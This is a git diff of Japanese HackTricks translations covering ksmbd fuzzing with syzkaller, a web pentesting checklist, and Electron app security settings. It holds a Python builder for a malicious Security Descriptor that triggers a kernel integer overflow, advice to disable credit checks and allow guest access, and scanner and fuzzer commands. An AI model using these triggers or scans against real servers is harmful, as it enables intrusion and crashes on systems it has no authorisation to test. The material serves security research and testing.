-このページは syzkaller を用いて Linux の in-kernel SMB サーバ ksmbd を実際に操作・ファズするための実践的手法を抽象化しています。設定によるプロトコル攻撃面の拡大、SMB2 操作をチェーンできるステートフルなハーネスの構築、文法的に有効な PDUs の生成、カバレッジが低いコード経路への変異バイアス付け、focus_areas や ANYBLOB といった syzkaller の機能活用に焦点を当てます。元の調査では特定の CVE を列挙していますが、ここでは再利用可能な方法論と自分の環境に適用できる具体的スニペットを強調します。
+このページは、syzkaller を用いて Linux カーネル内 SMB サーバー (ksmbd) を動作させ、fuzz するための実践的手法を抽象化しています。設定によってプロトコルの攻撃面を拡大すること、SMB2 操作をチェインできるステートフルなハーネスを構築すること、文法的に有効な PDU を生成すること、カバレッジの薄いコードパスに対してミューテーションをバイアスすること、そして focus_areas や ANYBLOB といった syzkaller の機能を活用することに焦点を当てています。元の研究では具体的な CVE を列挙していますが、ここでは再利用可能な方法論と自分の環境に適用できる具体的スニペットを重視します。
-対象範囲: TCP 上の SMB2/SMB3。ハーネスを単純に保つため、Kerberos と RDMA は意図的に対象外です。
+Target scope: SMB2/SMB3 over TCP. Kerberos and RDMA are intentionally out-of-scope to keep the harness simple.
---
-## 設定による ksmbd 攻撃面の拡張
-デフォルトの最小限の ksmbd 設定ではサーバの多くが未テストのままです。以下の機能を有効にして、追加のパーサ/ハンドラを経由し、より深いコード経路に到達させてください:
+## 設定による ksmbd の攻撃面の拡大
+デフォルトでは、最小限の ksmbd 設定はサーバーの大部分を未テストのままにします。次の機能を有効にして、追加のパーサ/ハンドラを通し、より深いコードパスに到達させてください:
- Global-level
- Durable handles
@@ -20,7 +20,7 @@
- Oplocks (on by default)
- VFS objects
-これらを有効にすると、次のようなモジュールでの実行が増えます:
+これらを有効にすると、以下のようなモジュールでの実行が増えます:
- smb2pdu.c (command parsing/dispatch)
- ndr.c (NDR encode/decode)
- oplock.c (oplock request/break)
@@ -28,26 +28,26 @@
- vfs.c (VFS ops)
- vfs_cache.c (lookup cache)
-注意
-- 正確なオプションはディストリビューションの ksmbd userspace (ksmbd-tools) に依存します。/etc/ksmbd/ksmbd.conf と per-share セクションを確認し、durable handles、leases、oplocks、VFS objects を有効にしてください。
-- Multi-channel と durable handles は状態機械やライフタイムを変化させ、並列処理下で UAF/refcount/OOB バグを表面化させることがよくあります。
+Notes
+- 正確なオプションはディストリの ksmbd ユーザースペース (ksmbd-tools) に依存します。/etc/ksmbd/ksmbd.conf および各共有セクションを確認して、durable handles、leases、oplocks、VFS objects を有効にしてください。
+- Multi-channel と durable handles は状態機械やライフタイムを変更し、並行性の下で UAF/refcount/OOB のバグを顕在化させることがよくあります。
---
-## ファジングのための認証とレート制限の調整
-SMB3 は有効なセッションを必要とします。ハーネスに Kerberos を実装すると複雑さが増すため、ファジングでは NTLM/guest を優先してください:
+## Fuzzing のための認証とレート制限の調整
+SMB3 には有効なセッションが必要です。ハーネス内で Kerberos を実装すると複雑さが増すため、fuzzing では NTLM/guest を優先してください:
-- Allow guest access and set map to guest = bad user so unknown users fall back to GUEST.
-- Accept NTLMv2 (patch policy if disabled). This keeps the handshake simple while exercising SMB3 code paths.
-- Patch out strict credit checks when experimenting (post-hardening for CVE-2024-50285 made simultaneous-op crediting stricter). Otherwise, rate-limits can reject fuzzed sequences too early.
-- Increase max connections (e.g., to 65536) to avoid early rejections during high-throughput fuzzing.
+- guest アクセスを許可し、map to guest = bad user を設定して未知のユーザーを GUEST にフォールバックさせる。
+- NTLMv2 を受け入れる(無効化されている場合はポリシーをパッチ)。これによりハンドシェイクが簡素化されつつ SMB3 のコードパスを動作させられます。
+- 実験時は厳格な credit チェックをパッチアウトする(CVE-2024-50285 の後の強化で simultaneous-op の crediting が厳しくなりました)。そうしないと、レート制限によって fuzzed シーケンスが早期に拒否されることがあります。
+- 高スループットの fuzzing 時に早期拒否を避けるため、max connections を増やす(例: 65536)。
-注意: これらの緩和はファジングを容易にするためのものであり、本番環境でこれらの設定を運用しないでください。
+注意: これらの緩和設定は fuzzing を容易にするためのものであり、本番環境でこれらの設定を適用しないでください。
---
-## Stateful Harness: Extract Resources and Chain Requests
-SMB はステートフルです: 多くのリクエストは前のレスポンスで返される識別子に依存します(SessionId、TreeID、FileID ペアなど)。ハーネスはレスポンスをパースし、同一プログラム内で ID を再利用して深いハンドラに到達する必要があります(例: smb2_create → smb2_ioctl → smb2_close)。
+## ステートフルハーネス:リソース抽出とリクエストの連鎖
+SMB はステートフルです: 多くのリクエストが前のレスポンスで返される識別子に依存します(SessionId、TreeID、FileID ペアなど)。ハーネスはレスポンスをパースして同一プログラム内で ID を再利用し、深いハンドラに到達する必要があります(例: smb2_create → smb2_ioctl → smb2_close)。
Example snippet to process a response buffer (skipping the +4B NetBIOS PDU length) and cache IDs:
```c
@@ -76,15 +76,15 @@ break;
}
```
ヒント
-- 認証/状態を共有する fuzzer プロセスを1つ維持する: ksmbd’s global/session tables による安定性とカバレッジが向上する。syzkaller は ops を async にマークして内部で再実行することで並行性を注入する。
-- Syzkaller’s experimental reset_acc_state は global state をリセットできるが、著しいパフォーマンス低下を招く可能性がある。安定性を優先して fuzzing に集中することを推奨する。
+- 認証/状態を共有する1つの fuzzer プロセスを維持する:ksmbd’s global/session tables を共有することで安定性とカバレッジが向上します。syzkaller は ops を async とマークして内部で再実行することで並行性を注入します。
+- Syzkaller’s experimental reset_acc_state は global state をリセットできますが、大幅なスローダウンを招く可能性があります。安定性を優先して fuzzing に集中してください。
---
-## 文法駆動による SMB2 生成 (有効な PDUs)
-Microsoft Open Specifications の SMB2 構造体を fuzzer grammar に翻訳し、ジェネレータが構造的に有効な PDUs を生成して、体系的に dispatchers と IOCTL handlers に到達するようにする。
+## 文法駆動の SMB2 生成(有効な PDUs)
+Microsoft Open Specifications の SMB2 構造を fuzzer grammar に落とし込み、ジェネレータが構造的に有効な PDUs を生成して dispatchers と IOCTL handlers に系統的に到達するようにします。
-例 (SMB2 IOCTL request):
+例(SMB2 IOCTL request):
```
smb2_ioctl_req {
Header_Prefix SMB2Header_Prefix
@@ -107,12 +107,12 @@ Input array[int8]
Output array[int8]
} [packed]
```
-このスタイルは構造体のサイズ/オフセットを正しく制御させ、blind mutation と比べてカバレッジを大幅に改善します。
+このスタイルは構造体のサイズやオフセットを正しく強制し、盲目的な変異に比べてカバレッジを劇的に改善します。
---
-## Directed Fuzzing With focus_areas
-syzkaller の実験的な focus_areas を使って、現在カバレッジが弱い特定の関数/ファイルに優先的に重み付けします。JSON の例:
+## focus_areas を使った Directed Fuzzing
+現在カバレッジが弱い特定の関数やファイルに重みを付けるために、syzkaller の実験的な focus_areas を使用します。例(JSON):
```json
{
"focus_areas": [
@@ -122,9 +122,9 @@ syzkaller の実験的な focus_areas を使って、現在カバレッジが弱
]
}
```
-これは smbacl.c の算術/オーバーフローの経路に到達する有効な ACL を構築するのに役立ちます。例えば、過大な dacloffset を持つ悪意のある Security Descriptor は整数オーバーフローを再現します。
+これは ACLs を構築して smbacl.c の arithmetic/overflow パスにヒットさせるのに役立ちます。例えば、過大な dacloffset を持つ悪意のある Security Descriptor は integer-overflow を再現します。
-再現コード(最小限の Python):
+再現ビルダー(minimal Python):
```python
def build_sd():
import struct
@@ -142,8 +142,9 @@ sd += b"\xCC" * 64
return bytes(sd)
```
---
-## ANYBLOB で Coverage の停滞を打破する
-syzkaller’s anyTypes (ANYBLOB/ANYRES) は複雑な構造をジェネリックに変異する blobs にまとめることを可能にします。公開されている SMB pcaps から新しいコーパスを作成し、ペイロードを syzkaller programs に変換して、pseudo-syscall(例: syz_ksmbd_send_req)を呼び出すようにします:
+
+## ANYBLOBでカバレッジの停滞を打破する
+syzkaller’s anyTypes (ANYBLOB/ANYRES) は、複雑な構造をジェネリックに変異する blob にまとめることを可能にします。公開されている SMB pcaps から新しいコーパスを生成し、ペイロードをあなたの pseudo-syscall(例: syz_ksmbd_send_req)を呼ぶ syzkaller プログラムに変換します:
```bash
# Extract SMB payloads to JSON
# tshark -r smb2_dac_sample.pcap -Y "smb || smb2" -T json -e tcp.payload > packets.json
@@ -166,14 +167,14 @@ f.write(
f"syz_ksmbd_send_req(&(&(0x7f0000000340))=ANY=[@ANYBLOB=\"{pdu}\"], {hex(pdu_size)}, 0x0, 0x0)"
)
```
-これにより探索を素早く開始でき、UAFs(例: ksmbd_sessions_deregister)を即座に引き起こすことがあり、カバレッジが数パーセント上昇します。
+これにより探索が急速に開始され、例えば ksmbd_sessions_deregister のような箇所で UAFs を即座に誘発し、カバレッジを数パーセント向上させることがあります。
---
-## Sanitizers: KASANを超えて
-- KASANはヒープバグ(UAF/OOB)の主要な検出器であり続ける。
-- KCSANはこのターゲットではしばしば誤検知や低重大度のデータ競合を報告することがある。
-- UBSAN/KUBSANは、配列インデックスのセマンティクスのためにKASANが見逃す宣言境界のミスを検出できる。例:
+## Sanitizers: Beyond KASAN
+- KASAN はヒープバグ (UAF/OOB) の主要な検出器のままです。
+- KCSAN はこのターゲットで誤検知や重大度の低い data races を報告することが多いです。
+- UBSAN/KUBSAN は、配列インデックスのセマンティクスのために KASAN が見逃す宣言された境界の誤りを検出できます。例:
```c
id = le32_to_cpu(psid->sub_auth[psid->num_subauth - 1]);
struct smb_sid {
@@ -185,24 +186,24 @@ Setting num_subauth = 0 triggers an in-struct OOB read of sub_auth[-1], caught b
---
-## スループットと並列性の注意
-- 単一の fuzzer プロセス(shared auth/state)は ksmbd に対して一般的にかなり安定しやすく、syzkaller の内部 async executor により races/UAFs を依然として表面化させます。
-- 複数の VMs を使うと、全体で毎秒数百の SMB コマンドに到達できます。関数レベルのカバレッジは fs/smb/server の約60% と smb2pdu.c の約70% 程度が達成可能ですが、state-transition カバレッジはこれらの指標では過小評価されがちです。
+## スループットと並列実行に関する注意
+- 単一の fuzzer プロセス(shared auth/state)は ksmbd に対してかなり安定する傾向があり、syzkaller の内部 async executor により races/UAFs を依然として検出できます。
+- 複数の VMs を使うと、全体で数百の SMB コマンド/秒 に達することがあります。関数レベルのカバレッジは fs/smb/server の約 60% と smb2pdu.c の約 70% 程度が得られますが、状態遷移のカバレッジはこれらの指標では過小評価されがちです。
---
-## 実践チェックリスト
-- ksmbd で durable handles、leases、multi-channel、oplocks、VFS objects を有効にする。
+## 実用チェックリスト
+- ksmbd で durable handles、leases、multi-channel、oplocks、および VFS objects を有効にする。
- guest と map-to-guest を許可し、NTLMv2 を受け入れる。credit limits をパッチで除去し、fuzzer の安定性のために max connections を引き上げる。
-- SessionId/TreeID/FileIDs をキャッシュし、create → ioctl → close を連鎖する stateful harness を構築する。
-- 構造的妥当性を維持するために SMB2 PDUs 用の grammar を使用する。
-- focus_areas を使ってカバレッジの低い関数(例: smbacl.c のパス、smb_check_perm_dacl など)に重み付けする。
-- 実際の pcaps から ANYBLOB でシードして停滞を打破する。シードは再利用のために syz-db でパッキングする。
-- KASAN + UBSAN で実行し、UBSAN の declared-bounds レポートは慎重にトリアージする。
+- SessionId/TreeID/FileIDs をキャッシュする stateful harness を構築し、create → ioctl → close をチェーンする。
+- 構造的妥当性を保つために SMB2 PDUs 用の grammar を使用する。
+- focus_areas を使用してカバレッジが弱い関数(例: smbacl.c の smb_check_perm_dacl のようなパス)に重みを付ける。
+- 実際の pcaps から ANYBLOB をシードとして投入して停滞を打破し、シードを syz-db でパックして再利用する。
+- KASAN + UBSAN で実行し、UBSAN の declared-bounds レポートを慎重にトリアージする。
---
-## 参考
+## 参考資料
- Doyensec – ksmbd Fuzzing (Part 2): https://blog.doyensec.com/2025/09/02/ksmbd-2.html
- syzkaller: https://github.com/google/syzkaller
- ANYBLOB/anyTypes (commit 9fe8aa4): https://github.com/google/syzkaller/commit/9fe8aa4
@@ -213,6 +214,6 @@ Setting num_subauth = 0 triggers an in-struct OOB read of sub_auth[-1], caught b
- KCSAN: https://docs.kernel.org/dev-tools/kcsan.html
- Microsoft Open Specifications (SMB): https://learn.microsoft.com/openspecs/
- Wireshark Sample Captures: https://wiki.wireshark.org/SampleCaptures
-- 補足読み物: pwning.tech “Tickling ksmbd: fuzzing SMB in the Linux kernel”; Dongliang Mu’s syzkaller notes
+- Background reading: pwning.tech “Tickling ksmbd: fuzzing SMB in the Linux kernel”; Dongliang Mu’s syzkaller notes
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md
index f47fd6912..6dba851f7 100644
--- a/src/network-services-pentesting/pentesting-web/README.md
+++ b/src/network-services-pentesting/pentesting-web/README.md
@@ -2,9 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
-## 基本情報
+## Basic Info
-Webサービスは最も**一般的かつ広範なサービス**であり、**さまざまな種類の脆弱性**が多く存在します。
+Webサービスは最も **一般的かつ広範なサービス** であり、**さまざまな種類の脆弱性** が多数存在します。
**デフォルトポート:** 80 (HTTP), 443(HTTPS)
```bash
@@ -24,38 +24,38 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
web-api-pentesting.md
{{#endref}}
-## 手法の概要
+## 方法論の概要
-> この手法では、ドメイン(またはサブドメイン)1つだけを攻撃対象とすることを想定します。したがって、スコープ内で発見された各ドメイン、サブドメイン、または未特定のウェブサーバをホストするIPごとに、この手法を適用してください。
+> この方法論では、ドメイン(またはサブドメイン)1つのみを攻撃することを想定します。したがって、この方法論は、スコープ内で判別されていない web server を持つ各発見されたドメイン、サブドメイン、または IP に対して適用してください。
-- [ ] まずはウェブサーバーで使用されている**技術**を**特定**してください。技術を特定できたら、テストの残りで留意すべき**トリック**を探してください。
-- [ ] その技術のバージョンに対して既知の**脆弱性**はありますか?
-- [ ] よく知られた**技術**を使用していますか?より多くの情報を引き出すための**有用なトリック**はありますか?
-- [ ] 実行すべき**専用のスキャナー**はありますか(例: wpscan)?
-- [ ] **汎用スキャナー**を実行してください。何かを見つけるか、興味深い情報を得られるか分かりません。
-- [ ] **初期チェック**から始めます: **robots**, **sitemap**, **404** エラー、および **SSL/TLS scan**(HTTPS の場合)。
-- [ ] ウェブページの**spidering**を開始します: 使用されている可能性のあるすべての**ファイル、フォルダ**、および**パラメータ**を**見つけ**てください。また、**特別な所見**がないか確認します。
-- [ ] _brute-forcingまたはspidering中に新しいディレクトリが発見されたら、その都度spideringを行ってください。_
-- [ ] **Directory Brute-Forcing**: 発見した全てのフォルダを**brute force**して、新しい**ファイル**や**ディレクトリ**を探してください。
-- [ ] _brute-forcingまたはspidering中に新しいディレクトリが発見されたら、そのディレクトリに対してはBrute-Forcedを行ってください。_
-- [ ] **Backups checking**: 共通のバックアップ拡張子を付けて**発見したファイル**の**バックアップ**が見つかるかテストします。
-- [ ] **Brute-Force parameters**: 隠し**パラメータ**を**発見**するよう試みてください。
-- [ ] すべての**ユーザー入力**を受け付ける可能性のある**endpoints**を**特定**したら、それらに関連するあらゆる種類の**脆弱性**を確認してください。
-- [ ] [このチェックリストに従ってください](../../pentesting-web/web-vulnerabilities-methodology.md)
+- [ ] まず、web サーバで使用されている**technologies**を**identifying**して特定します。技術を特定できたら、テストの残りで覚えておくべき**tricks**を探してください。
+- [ ] その技術のバージョンに対する既知の**vulnerability**はありますか?
+- [ ] よく使われている**tech**を使用していますか?情報を引き出すための**useful trick**はありますか?
+- [ ] 実行すべき**specialised scanner**(例: wpscan)はありますか?
+- [ ] **general purposes scanners**を起動してください。何かを見つけるか、興味深い情報を得られるかもしれません。
+- [ ] **initial checks**から始めます: **robots**, **sitemap**, **404** error と **SSL/TLS scan**(HTTPS の場合)。
+- [ ] Web ページの**spidering**を開始します: 可能なすべての**files, folders**や**parameters being used**を**find**する時です。**special findings**も確認してください。
+- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be spidered._
+- [ ] **Directory Brute-Forcing**: 発見したすべてのフォルダに対して brute force を試み、新しい **files** や **directories** を探します。
+- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._
+- [ ] **Backups checking**: 一般的なバックアップ拡張子を付けて、**discovered files** の **backups** が見つかるかテストします。
+- [ ] **Brute-Force parameters**: 隠しパラメータを探してみてください。
+- [ ] すべての可能な **endpoints** が **user input** を受け付けるかを**identified**したら、それに関連するあらゆる種類の **vulnerabilities** をチェックします。
+- [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
-## サーバーのバージョン(脆弱?)
+## Server Version (Vulnerable?)
-### 識別
+### 特定
-実行中のサーバーのバージョンに既知の脆弱性があるか確認してください。\
-レスポンスのHTTP headersやcookiesは、使用されている技術やバージョンの識別に非常に有用です。Nmap scanはサーバーバージョンを識別できますが、ツールの[**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:**
+実行中のサーバーの **version** に対して既知の**known vulnerabilities**があるか確認してください。\
+レスポンスの **HTTP headers and cookies** は、使用されている **technologies** や **version** を**identify**するのに非常に有用です。**Nmap scan** はサーバの version を識別できますが、[**whatweb**](https://github.com/urbanadventurer/WhatWeb)、[**webtech**](https://github.com/ShielderSec/webtech) や [**https://builtwith.com/**](https://builtwith.com) といったツールも有用です:
```bash
whatweb -a 1 #Stealthy
whatweb -a 3 #Aggresive
webtech -u
webanalyze -host https://google.com -crawl 2
```
-検索 **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
+検索 **対象の** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
### **WAFがあるか確認する**
@@ -63,9 +63,9 @@ webanalyze -host https://google.com -crawl 2
- [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
- [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
-### Web技術のトリック
+### Web tech tricks
-使用されているさまざまなよく知られた **technologies** で **finding vulnerabilities** を行うための **tricks**:
+いくつかの **tricks** は、異なるよく知られた **technologies** 上での **vulnerabilities** を見つけるために役立ちます:
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
- [**Apache**](apache.md)
@@ -102,27 +102,27 @@ webanalyze -host https://google.com -crawl 2
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
- [**Sitecore**](sitecore/index.html)
-_ドメインが同じでも、異なる **technologies** を異なる **ports**、**folders**、**subdomains** で使用している場合があることに注意してください._\
-webアプリケーションがよく知られた **tech/platform listed before** または **any other** を使用している場合は、新しい **tricks** をインターネットで **search on the Internet** することを忘れないでください(知らせてください!)。
+_Take into account that the **same domain** can be using **different technologies** in different **ports**, **folders** and **subdomains**._\
+もし web application が上に挙げた既知の **tech/platform** またはその他を使用している場合は、Internet 上で新しい tricks を検索するのを忘れないでください(そして私に教えてください!)。
-### ソースコードレビュー
+### Source Code Review
-もしアプリケーションの **source code** が **github** で入手可能な場合、アプリケーションに対して **your own a White box test** を実施することに加え、現在の **Black-Box testing** に **useful** となり得る **some information** が存在します:
+もしアプリケーションの **source code** が **github** 上で入手可能であれば、アプリケーションに対して自分で White box test を行うことに加えて、現在の Black-Box testing に役立ついくつかの情報があります:
-- ウェブ上でアクセス可能な **version info accessible** を含む **Change-log or Readme or Version** ファイルなどはありますか?
-- **credentials** はどのようにどこに保存されていますか? 認証情報(ユーザー名やパスワード)を含む(アクセス可能な?)**file** はありますか?
-- **passwords** は **plain text**、**encrypted**、あるいはどの **hashing algorithm** が使用されていますか?
-- 何かを暗号化するために **master key** を使用していますか? どの **algorithm** が使われていますか?
-- 何らかの脆弱性を悪用してこれらのファイルのいずれかに **access any of these files** できますか?
-- **interesting information in the github**(解決済み・未解決を問わず)や **issues** に何かありますか? また **commit history** に(古いコミット内に **password introduced inside an old commit** など)が含まれている可能性は?
+- Web 経由でアクセス可能な **Change-log or Readme or Version** ファイルやバージョン情報はありますか?
+- **credentials** はどのように、どこに保存されていますか?(アクセス可能な)**file** にユーザ名やパスワードなどの **credentials** はありますか?
+- **passwords** は **plain text**、**encrypted**、それともどの **hashing algorithm** が使われていますか?
+- 何かを暗号化するための **master key** を使用していますか?どの **algorithm** が使われていますか?
+- これらのファイルのいずれかに、何かの **vulnerability** を利用してアクセスできますか?
+- **github** の **issues**(解決済みと未解決の両方)や **commit history** に興味深い情報はありますか?(古い commit にパスワードが含まれている可能性があります)
{{#ref}}
code-review-tools.md
{{#endref}}
-### 自動スキャナ
+### Automatic scanners
-#### 汎用の自動スキャナ
+#### General purpose automatic scanners
```bash
nikto -h
whatweb -a 4
@@ -134,14 +134,14 @@ nuclei -ut && nuclei -target
# https://github.com/ignis-sec/puff (client side vulns fuzzer)
node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi2rVUN/?query=FUZZ"
```
-#### CMSスキャナー
+#### CMS scanners
-CMSが使用されている場合は、**スキャナーを実行する**のを忘れないでください。思わぬ有益な発見があるかもしれません:
+CMSが使われている場合は、忘れずに **run a scanner** を実行してください。思わぬ発見があるかもしれません:
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
-[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** セキュリティの問題があるWebサイトを検査します。 (GUI)\
+[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** の Security issues のあるウェブサイト向け(GUI)\
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
-**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **または** [**(M)oodle**](moodle.md)\
+**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **or** [**(M)oodle**](moodle.md)\
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
```bash
cmsmap [-f W] -F -d
@@ -149,45 +149,45 @@ wpscan --force update -e --url
joomscan --ec -u
joomlavs.rb #https://github.com/rastating/joomlavs
```
-> この時点で、クライアントが使用しているウェブサーバに関するいくつかの情報(もしデータが提供されていれば)と、テスト中に覚えておくべきいくつかのコツを既に把握しているはずです。運が良ければCMSを見つけてスキャナを実行しているでしょう。
+> この時点で、クライアントが使用しているウェブサーバーに関するいくつかの情報(提供されていれば)と、テスト中に覚えておくべきいくつかのコツを既に把握しているはずです。運が良ければ、CMS を見つけてスキャナを実行しているかもしれません。
-## ステップバイステップのWebアプリケーション探索
+## Step-by-step Web Application Discovery
-> この時点からWebアプリケーションと実際に対話を始めます。
+> ここからは実際に Web アプリケーションと対話を始めます。
-### 初期チェック
+### Initial checks
-**興味深い情報を含むデフォルトページ:**
+**Default pages with interesting info:**
- /robots.txt
- /sitemap.xml
- /crossdomain.xml
- /clientaccesspolicy.xml
- /.well-known/
-- メインページおよびサブページのコメントも確認する。
+- メインおよびサブページ内のコメントも確認すること。
-**エラーを強制する**
+**Forcing errors**
-ウェブサーバは奇妙なデータが送られると**予期せぬ挙動**をすることがあります。これにより**脆弱性**が露呈したり、**機密情報の開示**につながる可能性があります。
+Web servers may **behave unexpectedly** when weird data is sent to them. This may open **vulnerabilities** or **disclosure sensitive information**.
-- 例えば /whatever_fake.php (.aspx,.html,.etc) のような**偽ページ**にアクセスする
-- **cookie values** や **parameter** の値に "\[]", "]]", "\[[" を追加してエラーを発生させる
-- URLの**末尾**に **`/~randomthing/%s`** を入力してエラーを発生させる
-- PATCH, DEBUG のような**異なるHTTPメソッド**を試す、あるいは FAKE のような不正なメソッドを試す
+- /whatever_fake.php のようなダミーページにアクセスする(.aspx、.html など)
+- **"\[]", "]]", および "\[["** を **cookie 値** や **パラメータ値** に追加してエラーを発生させる
+- URL の **末尾** に **`/~randomthing/%s`** のような入力を与えてエラーを発生させる
+- PATCH、DEBUG のような **異なる HTTP メソッド** や FAKE のような不正なメソッドを試す
#### **ファイルをアップロードできるか確認する (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
-WebDavが**有効**であってルートフォルダにファイルを**アップロード**する十分な権限がない場合は、次を試してください:
+If you find that **WebDav** is **enabled** but you don't have enough permissions for **uploading files** in the root folder try to:
-- 資格情報を**Brute Force**
-- Webページ内の見つかった他のフォルダにWebDav経由で**ファイルをアップロード**する。別のフォルダにはアップロード権限があるかもしれません。
+- **Brute Force** credentials
+- WebDav を使って、Web ページ内で見つかった他のフォルダにファイルをアップロードする。別のフォルダにはアップロード権限がある場合がある。
-### **SSL/TLS の脆弱性**
+### **SSL/TLS vulnerabilites**
-- アプリケーションがどの部分でも**HTTPSの利用を強制していない**場合、**MitMに対して脆弱**です
-- アプリケーションが**HTTPで機密データ(パスワード)を送信している**場合、重大な脆弱性です。
+- アプリケーションがどの部分でも**HTTPS の使用を強制していない**場合、**MitM に対して脆弱**である
+- アプリケーションが**HTTP で機密データ(パスワード等)を送信している**場合、それは重大な脆弱性である
-[**testssl.sh**](https://github.com/drwetter/testssl.sh) を使って**脆弱性**をチェックし(Bug Bountyプログラムではおそらくこの種の脆弱性は受け入れられません)、[**a2sv** ](https://github.com/hahwul/a2sv)to で脆弱性を再確認してください:
+Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) to checks for **vulnerabilities** (In Bug Bounty programs probably these kind of vulnerabilities won't be accepted) and use [**a2sv** ](https://github.com/hahwul/a2sv)to recheck the vulnerabilities:
```bash
./testssl.sh [--htmlfile] 10.10.10.10:443
#Use the --htmlfile to save the output inside an htmlfile also
diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md
index 38bea746d..e6f7cee30 100644
--- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md
+++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md
@@ -4,14 +4,14 @@
## はじめに
-Electron はローカルのバックエンド(**NodeJS**)とフロントエンド(**Chromium**)を組み合わせていますが、最新のブラウザが備えるいくつかのセキュリティ機構を欠いています。
+Electron はローカルなバックエンド(**NodeJS**)とフロントエンド(**Chromium**)を組み合わせていますが、モダンなブラウザが持ついくつかのセキュリティ機構が欠けています。
-通常、Electron アプリのコードは `.asar` アーカイブの中にあることが多く、コードを取得するには抽出する必要があります:
+通常、electron アプリのコードは `.asar` に入っていることが多く、コードを取得するにはそれを抽出する必要があります:
```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
```
-Electronアプリのソースコードでは、`packet.json`内にセキュリティ設定が行われている`main.js`ファイルが指定されているのを見つけることができます。
+Electronアプリのソースコード内では、`packet.json` に、セキュリティ設定が記述されている `main.js` ファイルの指定が見つかります。
```json
{
"name": "standard-notes",
@@ -19,12 +19,12 @@ Electronアプリのソースコードでは、`packet.json`内にセキュリ
```
Electronには2つのプロセスタイプがあります:
-- Main Process (NodeJSへの完全なアクセス権を持つ)
-- Renderer Process (セキュリティ上の理由からNodeJSへのアクセスは制限されるべき)
+- メインプロセス (NodeJSへ完全にアクセス可能)
+- レンダラープロセス (セキュリティ上の理由からNodeJSへのアクセスは制限されるべき)
.png>)
-A **renderer process** は、ファイルを読み込むブラウザウィンドウになります:
+**レンダラープロセス**はファイルを読み込むブラウザウィンドウになります:
```javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
@@ -32,18 +32,18 @@ let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
```
-**レンダラープロセス**の設定は、main.js ファイル内の**メインプロセス**で**構成**できます。いくつかの設定は、**Electron アプリケーションが RCE を受けるのを防ぐ**などの脆弱性を防げるもので、**設定が正しく構成されている**場合に有効です。
+**renderer process** の設定は main.js ファイル内の **main process** で **構成できます**。いくつかの設定は、**Electron アプリケーションが RCE を受けるのを防ぐ** などの効果があり、**設定が正しく構成されている場合** に有効になります。
-Electron アプリケーションは Node APIs を介して**デバイスにアクセスできる**可能性がありますが、それを防ぐように構成できます:
+Electron アプリケーションは Node apis 経由で **デバイスにアクセスできる** 可能性がありますが、これを防ぐように設定できます:
-- **`nodeIntegration`** - is `off` by default. If on, allows to access node features from the renderer process.
-- **`contextIsolation`** - is `on` by default. If off, main and renderer processes aren't isolated.
-- **`preload`** - empty by default.
-- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - is off by default. It will restrict the actions NodeJS can perform.
-- Node Integration in Workers
-- **`nodeIntegrationInSubframes`**- is `off` by default.
-- If **`nodeIntegration`** is **有効**, this would allow the use of **Node.js APIs** in web pages that are **iframe に読み込まれた** within an Electron application.
-- If **`nodeIntegration`** is **無効**, then preloads will load in the iframe
+- **`nodeIntegration`** - デフォルトでは `off` です。`on` の場合、renderer process から Node の機能にアクセスできるようになります。
+- **`contextIsolation`** - デフォルトでは `on` です。`off` の場合、main と renderer processes の分離がなくなります。
+- **`preload`** - デフォルトでは空です。
+- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - デフォルトでは `off` です。NodeJS が実行できる操作を制限します。
+- Workers 内での Node Integration
+- **`nodeIntegrationInSubframes`** - デフォルトでは `off` です。
+- If **`nodeIntegration`** is **enabled**, this would allow the use of **Node.js APIs** in web pages that are **loaded in iframes** within an Electron application.
+- If **`nodeIntegration`** is **disabled**, then preloads will load in the iframe
